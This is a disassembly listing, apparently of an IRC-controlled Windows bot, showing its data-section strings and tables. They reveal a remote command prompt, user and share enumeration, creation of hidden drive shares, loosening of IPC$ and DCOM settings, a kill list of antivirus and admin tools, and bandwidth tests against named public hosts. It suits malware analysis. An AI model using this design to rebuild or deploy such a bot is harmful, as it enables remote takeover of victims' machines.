aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43A340
dd offset dword_43A334
dd offset dword_43A328
dd offset dword_43A31C
dd offset dword_43A310
dd offset dword_43A304
dd offset dword_43A2F4
dd offset dword_43A2E8
dd offset dword_43A2DC
dd offset dword_43A2D0
dd offset dword_43A2C4
dd offset dword_43A2B4
dd offset dword_43A2A8
dd offset dword_43A298
dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo
; ___:0043A294o
dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co
dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o
dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o
dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o
dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o
dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co
dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o
dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o
dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
align 10h
dd offset dword_43A578
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset off_43A570
dd offset dword_43A56C
dd offset off_43A568
off_43A568 dd offset loc_5C3A40+4 ; DATA XREF: sub_41A3C6+217o
; ___:0043A564o
dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o
off_43A570 dd offset loc_5C3A40+3 ; DATA XREF: ___:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o
dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o
dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o
dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo
dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o
unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo
dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00 dd 7FD4B649h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o
; ___:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r
; ___:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr
dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o
dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
